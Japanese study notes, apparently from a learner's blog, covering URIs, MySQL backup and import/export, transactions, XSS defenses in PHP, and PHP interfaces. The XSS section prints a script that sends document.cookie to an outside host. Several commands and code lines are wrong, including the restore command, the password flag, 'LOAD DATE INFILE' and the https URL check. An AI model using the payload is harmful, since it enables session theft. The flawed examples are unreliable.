URIとは?~URLとの違い~

1.URIとは

URL(Uniform Resource Locator)が、インターネット上にある情報資源(HTML文書や画像)の場所を示す
対し
URIはもっと広い意味でインターネット上に限らず(ex::書籍のISBN番号) すべての情報資源を識別!!!!!!
場所に重点を置かない。
場所以外にも名前を表すこともある。

URLより広義的な用語

  • 現ページのURI
    http: ←URIスキーム //
    blog.hatena.ne.jp ←ドメイン名 ←責任者部 / k_ootake/yukiriru.hatenablog.com
    /edit/index.html ←フォルダ名 ←パス名

これは絶対URI

ファイル名省略したりした場合は相対URI

(MYSQL)データベース全体のバックアップとリストア

1.バックアップとリストア

  • ダンプ とは?
    データベースすべての内容を書き出すこと。
    別のサーバーに同じ内容のデータベースを構築するとか、万が一の事態に備えてバックアップのためにする。
    データベースの情報があるのでセキュリティ上、慎重に行うべき。
    ダンプするときは*mysqldumpコマンド**を実行!!

  • リストアとは?
    mysqldumpコマンドで書きだしたデータをデータベースに戻すこと。

2.mysqldumpを使って書き出す

  • データベースをダンプする
mysqldump -u ユーザー名 -p パスワード データベース名 > 出力ファイル名  

(ex)

mysqldump -u root -p 1234 db1 > db1_out.txt

3.ダンプしたファイルをリストアする
(ex)
①データベース作成(db2)
②上記でダンプしたdb1_out.txtをdb2にリストアする。

mysqldump -u root -p 1234 db1 < db1_out.txt

☆もしエラーになったら文字コードの問題かも

--default-character-set=文字コード  

(ex) mysqldump -u root -p 1234 db1 > db1_out.txt --default-character-set=cp932

(MYSQL) データのimport・export

データ量が多い場合は「csv」形式のテキストファイルを使う。

1.ファイルの import

  • ファイルからデータを読み込む
LOAD DATE INFILE 'ファイル名' INTO TABLE テーブル名 オプションの記述;
  • オプションの記述
FIELDS TERMINATED BY 区切り文字(デフォルトは'\t':タブ)
LINES TERMINATED BY 改行文字(デフォルトは'\n':改行)
IGNORE 最初にスキップする行 LINES (デフォルトは0)

(ex)
LOAD DATE INFILE '~/data/hoge.csv' INTO TABLE tb1 FIELDS TERMINATED BY ',';

2.ファイルの export
データ集計のときとか?

  • データをテキストファイルに書き出す
SELECT * INTO OUTFILE 'ファイル名' 上記のオプションの記述 FROM テーブル名;

(ex)
SELECT * INTO OUTFILE '~/data/hoge.csv' FIELDS TERMINATED BY ',' FROM tb1;

TYPE ~/data/hoge.csv
1,apple
2,banana 3,grape

3.sqlコマンドのimport

複雑で長いsql文を実行するとき、いちいちmysqlモニタで記述するのは大変(.><)

  • sql文が保存されたテキストファイルを実行する
SOURCE テキストファイル名  

(ex) sql.txt
INSERT INTO TABLE ... UPDATE TABLE SET ...
SELECT * FROM TABLE ...

SOURCE sql.txt

INSERT INTO TABLE ... ←実行
UPDATE TABLE SET ... ←実行
SELECT * FROM TABLE ... ←実行

☆何回も作ることになるテーブルor複雑なテーブルはSOURCEコマンド便利!

トランザクション

トランザクションについて、説明するのだ☆

1. トランザクションとは

トランザクションの概念は、
複数の更新処理を連続して実行し、1つの関連性のある集まりとして管理する必要があるものの処理単位」のことなのだ!!!

むむむ...........

難しいのだ( ;´Д`)

例えがほしいのだ( ;´Д`)

2. トランザクションを銀行に例える

Aさんが、Bさんの口座に1000円振り込んだとするのだ。そうすると、

 Aさんの口座      Bさんの口座  

  -1000円        +1000円  

ということになるのだ。
この時、もしBさんに振り込まれていなかったり、1000円以上振り込まれていたら大変なことであるのだな。銀行の信用問題なのだ!

そこで、このトランザクションが役に立つのだ☆
AさんとBさんの取引が成立したときにはじめて、口座が動くようにするのだゾ。このように処理は複数の処理(AさんとBさんの取引)をまとめて扱っている機能をトランザクションというのだ。

3. トランザクションを使う目的

トランザクション「データの整合性を保つ」のが目的なのだ。
上記の銀行の例で、一部の処理が正しく実行されなかったときに、すべての更新処理をキャンセルする(ロールバック)ので作業全体を取り消すことができるのだ。成功したときにはじめて結果がデータベースに反映するのだのだ(コミット)。
トランザクションの利用が必要となるのは、複数の更新処理を連続して行う際に、すべての処理が成功したときにのみデータベースへの変更を有効としなければならないような場合。

クロスサイト・スクリプティング(XSS)

クロスサイト・スプリティング(XSS)とは、 Webページの出力処理に不備があるときに、悪意あるスプリクトを実行されてしまう脆弱性のこと。 別サイトにある罠リンクをクリックすることで、サイトをまたがって(クロスサイト)スプリクトを実行する。 スプリクトは、Webページの表示時に利用者のブラウザ上で実行される。

←→クロスサイト・リクエストフォージェリ(CSRF) !!!!!!サーバー上で実行される脆弱性!!!!!

1. 具体例

*Cookie等の情報漏洩 (セッションハイジャック)

<script type="text/javascript">
document.location="http://●●●●●.com/script.cgi?cookie="+document.cookie;  
</script>

script.cgi → クッキー情報を抜き取るプログラム

*訪問者の個人情報を促す入力フォームを埋め込むことによる、個人情報の不正搾取

2. 対策(php

  • HTTPレスポンスヘッダーに文字コードを指定する
    header("Content-type: text/html; charset=utf-8");

default_charset = "UTF-8"(php.ini)

  • HTML要素の属性はダブルクオーテーションでかこむ
    Webセキュリティ

  • 出力する全ての要素に対してエスケープ処理
    htmlspecialchars関数 (特殊文字を HTML エンティティに変換する)
    ①&' (アンパサンド) → '&
    ②ENT_NOQUOTES が設定されていない場合、 '"' (ダブルクォート) → '"' ③ENT_QUOTES が設定されている場合のみ、 "'" (シングルクオート) → '''

  • URLは「http://」か「https://」で始まるもののみに主力

function is_url($url)  {
  if (preg_match('/\Ahttp:\/\//', $url) || preg_match('/\Ahttps\/\//', $url)) {
    return true;
  } else {
    return false; 
  }
}  
  • 要素の内容を動的に生成しない

  • CookieにHttpOnly属性を付与する

setcookie("key", "value", 0, "/", null, FALSE, TRUE);

php オブジェクトインターフェイス

interfaceとは?

インターフェイスにより、あるクラスが実装する必要があるメソッドの 種類を、これらのメソッドの実体を定義することなく、指定するコードを作成できるようになります。

メソッドの宣言の集合

<?php  
interface Car
{
    public function run();
    public function stop();
}  

↓ 実装 implements演算子

<?php  
Class Mira implements Car
{
    public function run()
    {
       //何らかの処理 
     }

     public function stop()
    {
       //何らかの処理 
     }
}  

Q機能を実装しているクラスだけでいいのでは?

A オブジェクト指向においてインターフェイスという機能がなくてもプログラムはいくらでもかける。

<?php
// Carインターフェイスを通じて何らかの処理を遂行する関数procedure
function procedure(Car $somecar)
{
    $somecar->run();
    // 何らかの処理
    $somecar->stop();
}  

引数$somecarの部分でタイプヒンティングすることで、
$somecarは、Carインターフェイスを実装したクラスのインスタンスであることが保障。

<?php
function procedure(Mira $mira)
{
    $mira->run();
    // 何らかの処理
    $mira->stop();
}  

Q上記のようにインターフェイスを使わずに実装クラスでタイピングすればいいのでは?

Aprocedure関数はMiraクラスの実装に依存する形になってしまう。

<?php
class Copen implements Car
{
    public function run()
    {
    }
    public function stop()
    {
    }
}  

Carインターフェイスでタイプヒンティングするのであれば、このクラスのインスタンスは、procedure関数に渡すことができる!

つまり

(解決策)
インターフェイスを使うことで特定のクラスの実装に依存しないタイプヒンティングが可能になる。
いわゆる機能(メソッド宣言)と実装の分離。
これにより型の安全性と柔軟さを同時に得られる!!!!!!
**
他の軽量言語にインターフェイスがなく、PHPにだけある理由

簡潔な記述よりも、記述のわかりやすさや型の安全性を重視しているPHPの設計思想の表れ

http://blog.tojiru.net/article/377526320.html http://blog.anatoo.jp/entry/20080517/1211029059